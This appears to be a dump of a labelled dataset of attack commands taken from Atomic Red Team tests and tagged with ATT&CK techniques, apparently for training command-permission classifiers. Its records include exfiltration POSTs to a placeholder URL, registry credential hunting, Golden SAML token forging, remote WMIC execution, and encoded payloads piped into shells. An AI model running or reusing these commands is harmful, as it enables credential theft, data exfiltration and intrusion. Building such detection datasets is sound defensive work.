cowWhySo/permission-command-corpus huggingface dataset:
Command: rm "#{evil_image}"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1001.002
Platform: linux
ATT&CK tags: T1001.002
Source rule: Execute Embedded Script in Image via Steganography
Notes: This atomic test demonstrates the execution of an embedded script in an image file using steganography techniques. The script is first encoded in base64 and then embedded within the pixels of the image. The modified image is created, and the script is extracted and executed on the target system.
Command: echo -n 111-11-1111 | base64 curl -XPOST #{base64_data}.#{destination_url}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1132.001
Platform: macos,linux
ATT&CK tags: T1132.001
Source rule: Base64 Encoded data.
Notes: Utilizing a common technique for posting base64 encoded data.
Command: echo -n 111-11-1111 | b64encode -r - curl -XPOST #{base64_data}.#{destination_url}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1132.001
Platform: linux
ATT&CK tags: T1132.001
Source rule: Base64 Encoded data (freebsd)
Notes: Utilizing a common technique for posting base64 encoded data.
Command: $plaintext = ([system.Text.Encoding]::UTF8.getBytes("#{plaintext}")) $key = "#{key}" $cyphertext = @(); for ($i = 0; $i -lt $plaintext.Count; $i++) { $cyphertext += $plaintext[$i] -bxor $key[$i % $key.Length]; } $cyphertext = [system.Text.Encoding]::UTF8.getString($cyphertext) [System.Net.ServicePointManager]::Expect100Continue = $false Invoke-WebRequest -Uri #{destination_url} -Method POST -Body $cyphertext -DisableKeepAlive
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1132.001
Platform: windows
ATT&CK tags: T1132.001
Source rule: XOR Encoded data.
Notes: XOR encodes the data with a XOR key.
Reference - https://gist.github.com/loadenmb/8254cee0f0287b896a05dcdc8a30042f
Command: reg query HKLM /f password /t REG_SZ /s reg query HKCU /f password /t REG_SZ /s
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1552.002
Platform: windows
ATT&CK tags: T1552.002
Source rule: Enumeration for Credentials in Registry
Notes: Queries to enumerate for credentials in the Registry. Upon execution, any registry key containing the word "password" will be displayed.
Command: reg query HKCU\Software\SimonTatham\PuTTY\Sessions /t REG_SZ /s
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1552.002
Platform: windows
ATT&CK tags: T1552.002
Source rule: Enumeration for PuTTY Credentials in Registry
Notes: Queries to enumerate for PuTTY credentials in the Registry. PuTTY must be installed for this test to work. If any registry
entries are found, they will be displayed.
Command: Import-Module AADInternals -Force $saml = New-AADIntSAMLToken -ImmutableID "#{immutable_id}" -PfxFileName "#{certificate_path}" -Issuer "#{issuer_uri}" $conn = Get-AADIntAccessTokenForAADGraph -SAMLToken $saml -SaveToCache if ($conn) { Write-Host "`nSuccessfully connected as $($conn.User)" } else { Write-Host "`nThe connection failed" } Write-Host "End of Golden SAML"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1606.002
Platform: azure-ad
ATT&CK tags: T1606.002
Source rule: Golden SAML
Notes: Forge a "Golden SAML" token which allows to impersonate any Azure AD user, and authenticate to AADGraph (as a proof). 
You will need the ADFS token signing certificate (see T1552.004 to export it).
More info here : https://o365blog.com/post/adfs/
Command: echo [InternetShortcut] > #{shortcut_file_path} echo URL=C:\windows\system32\calc.exe >> #{shortcut_file_path} #{shortcut_file_path}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1547.009
Platform: windows
ATT&CK tags: T1547.009
Source rule: Shortcut Modification
Notes: This test to simulate shortcut modification and then execute. example shortcut (*.lnk , .url) strings check with powershell;
gci -path "C:\Users" -recurse -include *.url -ea SilentlyContinue | Select-String -Pattern "exe" | FL.
Upon execution, calc.exe will be launched.
Command: del -f #{shortcut_file_path} >nul 2>&1
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1547.009
Platform: windows
ATT&CK tags: T1547.009
Source rule: Shortcut Modification
Notes: This test to simulate shortcut modification and then execute. example shortcut (*.lnk , .url) strings check with powershell;
gci -path "C:\Users" -recurse -include *.url -ea SilentlyContinue | Select-String -Pattern "exe" | FL.
Upon execution, calc.exe will be launched.
Command: Remove-Item "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\T1547.009.lnk" -ErrorAction Ignore Remove-Item "$env:ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\T1547.009.lnk" -ErrorAction Ignore
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1547.009
Platform: windows
ATT&CK tags: T1547.009
Source rule: Create shortcut to cmd in startup folders
Notes: LNK file to launch CMD placed in startup folder. Upon execution, open File Explorer and browse to "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\"
to view the new shortcut.
Command: "#{msxsl_exe}" "#{xmlfile}" "#{xslfile}"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1220
Platform: windows
ATT&CK tags: T1220
Source rule: MSXSL Bypass using local files
Notes: Executes the code specified within a XSL script tag during XSL transformation using a local payload. 
Requires download of MSXSL. No longer available from Microsoft.
(Available via Internet Archive https://web.archive.org/web/20200825011623/https://www.microsoft.com/en-us/download/details.aspx?id=21714 ) 
Open Calculator.exe when test successfully executed, while AV turned off.
Command: del "#{msxsl_exe}" >nul 2>&1
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1220
Platform: windows
ATT&CK tags: T1220
Source rule: MSXSL Bypass using local files
Notes: Executes the code specified within a XSL script tag during XSL transformation using a local payload. 
Requires download of MSXSL. No longer available from Microsoft.
(Available via Internet Archive https://web.archive.org/web/20200825011623/https://www.microsoft.com/en-us/download/details.aspx?id=21714 ) 
Open Calculator.exe when test successfully executed, while AV turned off.
Command: del -Path #{msxsl_exe} >nul 2>&1
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1220
Platform: windows
ATT&CK tags: T1220
Source rule: MSXSL Bypass using remote files
Notes: Executes the code specified within a XSL script tag during XSL transformation using a remote payload.
Requires download of MSXSL.exe. No longer available from Microsoft.
(Available via Internet Archive https://web.archive.org/web/20200825011623/https://www.microsoft.com/en-us/download/details.aspx?id=21714 )
Open Calculator.exe when test successfully executed, while AV turned off.
Command: wmic #{wmic_command} /FORMAT:"#{local_xsl_file}"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1220
Platform: windows
ATT&CK tags: T1220
Source rule: WMIC bypass using local XSL file
Notes: Executes the code specified within a XSL script using a local payload.
Command: wmic #{wmic_command} /FORMAT:"#{remote_xsl_file}"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1220
Platform: windows
ATT&CK tags: T1220
Source rule: WMIC bypass using remote XSL file
Notes: Executes the code specified within a XSL script using a remote payload. Open Calculator.exe when test successfully executed, while AV turned off.
Command: wmic useraccount get /ALL /format:csv
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1047
Platform: windows
ATT&CK tags: T1047
Source rule: WMI Reconnaissance Users
Notes: An adversary might use WMI to list all local User Accounts. 
When the test completes , there should be local user accounts information displayed on the command line.
Command: wmic process get caption,executablepath,commandline /format:csv
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1047
Platform: windows
ATT&CK tags: T1047
Source rule: WMI Reconnaissance Processes
Notes: An adversary might use WMI to list Processes running on the compromised host.
When the test completes , there should be running processes listed on the command line.
Command: wmic qfe get description,installedOn /format:csv
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1047
Platform: windows
ATT&CK tags: T1047
Source rule: WMI Reconnaissance Software
Notes: An adversary might use WMI to list installed Software hotfix and patches.
When the test completes, there should be a list of installed patches and when they were installed.
Command: wmic /node:"#{node}" service where (caption like "%#{service_search_string}%")
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1047
Platform: windows
ATT&CK tags: T1047
Source rule: WMI Reconnaissance List Remote Services
Notes: An adversary might use WMI to check if a certain Remote Service is running on a remote device. 
When the test completes, a service information will be displayed on the screen if it exists.
A common feedback message is that "No instance(s) Available" if the service queried is not running.
A common error message is "Node - (provided IP or default)  ERROR Description =The RPC server is unavailable" 
if the provided remote host is unreachable
Command: wmic process call create #{process_to_execute}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1047
Platform: windows
ATT&CK tags: T1047
Source rule: WMI Execute Local Process
Notes: This test uses wmic.exe to execute a process on the local host.
When the test completes , a new process will be started locally .A notepad application will be started when input is left on default.
Command: wmic process where name='#{process_to_execute}' delete >nul 2>&1
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1047
Platform: windows
ATT&CK tags: T1047
Source rule: WMI Execute Local Process
Notes: This test uses wmic.exe to execute a process on the local host.
When the test completes , a new process will be started locally .A notepad application will be started when input is left on default.
Command: wmic /user:#{user_name} /password:#{password} /node:"#{node}" process call create #{process_to_execute}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1047
Platform: windows
ATT&CK tags: T1047
Source rule: WMI Execute Remote Process
Notes: This test uses wmic.exe to execute a process on a remote host. Specify a valid value for remote IP using the node parameter.
To clean up, provide the same node input as the one provided to run the test
A common error message is "Node - (provided IP or default)  ERROR Description =The RPC server is unavailable" if the default or provided IP is unreachable
Command: wmic /user:#{user_name} /password:#{password} /node:"#{node}" process where name='#{process_to_execute}' delete >nul 2>&1
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1047
Platform: windows
ATT&CK tags: T1047
Source rule: WMI Execute Remote Process
Notes: This test uses wmic.exe to execute a process on a remote host. Specify a valid value for remote IP using the node parameter.
To clean up, provide the same node input as the one provided to run the test
A common error message is "Node - (provided IP or default)  ERROR Description =The RPC server is unavailable" if the default or provided IP is unreachable
Command: powershell -exec bypass -e SQBuAHYAbwBrAGUALQBXAG0AaQBNAGUAdABoAG8AZAAgAC0AUABhAHQAaAAgAHcAaQBuADMAMgBfAHAAcgBvAGMAZQBzAHMAIAAtAE4AYQBtAGUAIABjAHIAZQBhAHQAZQAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIABuAG8AdABlAHAAYQBkAC4AZQB4AGUA
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1047
Platform: windows
ATT&CK tags: T1047
Source rule: Create a Process using WMI Query and an Encoded Command
Notes: Solarigate persistence is achieved via backdoors deployed via various techniques including using PowerShell with an EncodedCommand
 Powershell -nop -exec bypass -EncodedCommand <encoded command>
Where the –EncodedCommand, once decoded, would resemble:
  Invoke-WMIMethod win32_process -name create -argumentlist ‘rundll32 c:\windows\idmu\common\ypprop.dll _XInitImageFuncPtrs’ -ComputerName WORKSTATION
The EncodedCommand in this atomic is the following: Invoke-WmiMethod -Path win32_process -Name cr
Command: $Class = New-Object Management.ManagementClass(New-Object Management.ManagementPath("Win32_Process")) $NewClass = $Class.Derive("#{new_class}") $NewClass.Put() Invoke-WmiMethod -Path #{new_class} -Name create -ArgumentList #{process_to_execute}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1047
Platform: windows
ATT&CK tags: T1047
Source rule: Create a Process using obfuscated Win32_Process
Notes: This test tries to mask process creation by creating a new class that inherits from Win32_Process. Indirect call of suspicious method such as Win32_Process::Create can break detection logic.
[Cybereason blog post No Win32_ProcessNeeded](https://www.cybereason.com/blog/wmi-lateral-movement-win32)
Command: $CleanupClass = New-Object Management.ManagementClass(New-Object Management.ManagementPath("#{new_class}")) try { $CleanupClass.Delete() } catch {}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1047
Platform: windows
ATT&CK tags: T1047
Source rule: Create a Process using obfuscated Win32_Process
Notes: This test tries to mask process creation by creating a new class that inherits from Win32_Process. Indirect call of suspicious method such as Win32_Process::Create can break detection logic.
[Cybereason blog post No Win32_ProcessNeeded](https://www.cybereason.com/blog/wmi-lateral-movement-win32)
Command: wmic /node:#{node} process call create "rundll32.exe \"#{dll_to_execute}\" #{function_to_execute}"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1047
Platform: windows
ATT&CK tags: T1047
Source rule: WMI Execute rundll32
Notes: This test uses wmic.exe to execute a DLL function using rundll32. Specify a valid value for remote IP using the node parameter.
Command: taskkill /f /im calculator.exe
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1047
Platform: windows
ATT&CK tags: T1047
Source rule: WMI Execute rundll32
Notes: This test uses wmic.exe to execute a DLL function using rundll32. Specify a valid value for remote IP using the node parameter.
Command: wmic /node:"#{node}" product where "name like '#{product}%%'" call uninstall
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1047
Platform: windows
ATT&CK tags: T1047
Source rule: Application uninstall using WMIC
Notes: Emulates uninstalling  applications using WMIC.  This method only works if the product was installed with an msi file.  APTs have been seen using this to uninstall security products.
Command: msiexec /i "PathToAtomicsFolder\..\ExternalPayloads\tightvncinstaller.msi" /qn /norestart
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1047
Platform: windows
ATT&CK tags: T1047
Source rule: Application uninstall using WMIC
Notes: Emulates uninstalling  applications using WMIC.  This method only works if the product was installed with an msi file.  APTs have been seen using this to uninstall security products.
Command: Start-Process "#{exe_binary}" Start-Sleep -Seconds 7 Get-Process -Name Notepad -ErrorAction SilentlyContinue | Stop-Process -Force
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1055.015
Platform: windows
ATT&CK tags: T1055.015
Source rule: Process injection ListPlanting
Notes: This test injects shellcode into a remote RegEdit process using the ListPlanting technique. ListPlanting exploits Window with ListView control. Code write to memory with NtWriteVirtualMemory. The shellcode is executed via PostMessage. When successful, a message box will appear with the title "Warning" and the content "Atomic Red Team" after a few seconds. Notepad will open following the appearance of the message box.
Command: Get-Process -Name Notepad -ErrorAction SilentlyContinue | Stop-Process -Force
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1055.015
Platform: windows
ATT&CK tags: T1055.015
Source rule: Process injection ListPlanting
Notes: This test injects shellcode into a remote RegEdit process using the ListPlanting technique. ListPlanting exploits Window with ListView control. Code write to memory with NtWriteVirtualMemory. The shellcode is executed via PostMessage. When successful, a message box will appear with the title "Warning" and the content "Atomic Red Team" after a few seconds. Notepad will open following the appearance of the message box.
Command: certutil -encode #{executable} %temp%\T1140_calc.txt certutil -decode %temp%\T1140_calc.txt %temp%\T1140_calc_decoded.exe
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1140
Platform: windows
ATT&CK tags: T1140
Source rule: Deobfuscate/Decode Files Or Information
Notes: Encode/Decode executable
Upon execution a file named T1140_calc_decoded.exe will be placed in the temp folder
Command: del %temp%\T1140_calc.txt >nul 2>&1 del %temp%\T1140_calc_decoded.exe >nul 2>&1
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1140
Platform: windows
ATT&CK tags: T1140
Source rule: Deobfuscate/Decode Files Or Information
Notes: Encode/Decode executable
Upon execution a file named T1140_calc_decoded.exe will be placed in the temp folder
Command: copy %windir%\system32\certutil.exe %temp%\tcm.tmp %temp%\tcm.tmp -encode #{executable} %temp%\T1140_calc2.txt %temp%\tcm.tmp -decode %temp%\T1140_calc2.txt %temp%\T1140_calc2_decoded.exe
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1140
Platform: windows
ATT&CK tags: T1140
Source rule: Certutil Rename and Decode
Notes: Rename certutil and decode a file. This is in reference to latest research by FireEye [here](https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html)
Command: del %temp%\tcm.tmp >nul 2>&1 del %temp%\T1140_calc2.txt >nul 2>&1 del %temp%\T1140_calc2_decoded.exe >nul 2>&1
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1140
Platform: windows
ATT&CK tags: T1140
Source rule: Certutil Rename and Decode
Notes: Rename certutil and decode a file. This is in reference to latest research by FireEye [here](https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html)
Command: ENCODED=$(perl -e "use MIME::Base64;print(encode_base64('#{message}'));") perl -le "use MIME::Base64;print(decode_base64('$ENCODED'));" echo $ENCODED | perl -le 'use MIME::Base64;print(decode_base64(<STDIN>));' echo $ENCODED > #{encoded_file} && perl -le 'use MIME::Base64;open($f,"<","#{encoded_file}");print(decode_base64(<$f>));'
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1140
Platform: linux,macos
ATT&CK tags: T1140
Source rule: Base64 decoding with Perl
Notes: Use Perl to decode a base64-encoded text string and echo it to the console
Command: ENCODED=$(echo '#{message}' | base64) printf $ENCODED | base64 -d echo $ENCODED | base64 -d echo $(echo $ENCODED) | base64 -d echo $ENCODED > #{encoded_file} && base64 -d #{encoded_file} echo $ENCODED > #{encoded_file} && base64 -d < #{encoded_file} echo $ENCODED > #{encoded_file} && cat #{encoded_file} | base64 -d echo $ENCODED > #{encoded_file} && cat < #{encoded_file} | base64 -d bash -c "{echo,\"$(echo $ENCODED)\"}|{base64,-d}"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1140
Platform: linux,macos
ATT&CK tags: T1140
Source rule: Base64 decoding with shell utilities
Notes: Use common shell utilities to decode a base64-encoded text string and echo it to the console
Command: ENCODED=$(echo '#{message}' | b64encode -r -) printf $ENCODED | b64decode -r echo $ENCODED | b64decode -r echo $(echo $ENCODED) | b64decode -r echo $ENCODED > #{encoded_file} && b64encode -r #{encoded_file} echo $ENCODED > #{encoded_file} && b64decode -r < #{encoded_file} echo $ENCODED > #{encoded_file} && cat #{encoded_file} | b64decode -r echo $ENCODED > #{encoded_file} && cat < #{encoded_file} | b64decode -r
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1140
Platform: linux
ATT&CK tags: T1140
Source rule: Base64 decoding with shell utilities (freebsd)
Notes: Use common shell utilities to decode a base64-encoded text string and echo it to the console
Command: echo #{bash_encoded} | b64decode -r | sh echo #{dash_encoded} | b64decode -r | sh echo #{fish_encoded} | b64decode -r | sh echo #{sh_encoded} | b64decode -r | sh
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1140
Platform: linux
ATT&CK tags: T1140
Source rule: FreeBSD b64encode Shebang in CLI
Notes: Using b64decode shell scripts that have Shebang in them. This is commonly how attackers obfuscate passing and executing a shell script. Seen [here](https://www.trendmicro.com/pl_pl/research/20/i/the-evolution-of-malicious-shell-scripts.html) by TrendMicro, as well as [LinPEAS](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS). Also a there is a great Sigma rule [here](https://github.com/SigmaHQ/sigma/blob/master/rules/linux/process_creation/proc_creation_lnx_base64_shebang_cli.yml) fo
Command: ENCODED=$(echo '#{message}' | xxd -ps -c 256) printf $ENCODED | xxd -r -p echo $ENCODED | xxd -r -p echo $(echo $ENCODED) | xxd -r -p echo $ENCODED > #{encoded_file} && xxd -r -p #{encoded_file} echo $ENCODED > #{encoded_file} && xxd -r -p < #{encoded_file} echo $ENCODED > #{encoded_file} && cat #{encoded_file} | xxd -r -p echo $ENCODED > #{encoded_file} && cat < #{encoded_file} | xxd -r -p
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1140
Platform: linux,macos
ATT&CK tags: T1140
Source rule: Hex decoding with shell utilities
Notes: Use common shell utilities to decode a hex-encoded text string and echo it to the console
Command: echo #{bash_encoded} | base64 -d | bash echo #{dash_encoded} | base64 -d | bash echo #{fish_encoded} | base64 -d | bash echo #{sh_encoded} | base64 -d | bash
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1140
Platform: linux,macos
ATT&CK tags: T1140
Source rule: Linux Base64 Encoded Shebang in CLI
Notes: Using Linux Base64 Encoded shell scripts that have Shebang in them. This is commonly how attackers obfuscate passing and executing a shell script. Seen [here](https://www.trendmicro.com/pl_pl/research/20/i/the-evolution-of-malicious-shell-scripts.html) by TrendMicro, as well as [LinPEAS](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS). Also a there is a great Sigma rule [here](https://github.com/SigmaHQ/sigma/blob/master/rules/linux/process_creation/proc_creation_lnx_base64_shebang_
Command: python3 -c 'import base64; import subprocess; xor_decrypt = lambda text, key: "".join([chr(c ^ ord(k)) for c, k in zip(base64.b64decode(text.encode()), key)]); command = "#{encrypted_command}"; key = "#{xor_key}"; exec = xor_decrypt(command, key); subprocess.call(exec, shell=True)'
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1140
Platform: linux,macos
ATT&CK tags: T1140
Source rule: XOR decoding and command execution using Python
Notes: An adversary can obfuscate malicious commands or payloads using XOR and execute them on the victim's machine. This test uses Python to decode and execute commands on the machine.
Command: mkdir "#{output_dir}" >nul 2>&1 echo hello from atomic red team > "PathToAtomicsFolder\T1140\src\art-expand-source.txt" makecab "PathToAtomicsFolder\T1140\src\art-expand-source.txt" "#{cab_path}" pushd "#{output_dir}" expand "#{cab_path}" -F:* . popd
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1140
Platform: windows
ATT&CK tags: T1140
Source rule: Expand CAB with expand.exe
Notes: Uses expand.exe to extract a file from a CAB created locally. This simulates adversarial use of expand on cabinet archives.
Upon success, art-expand-source.txt is extracted next to the CAB.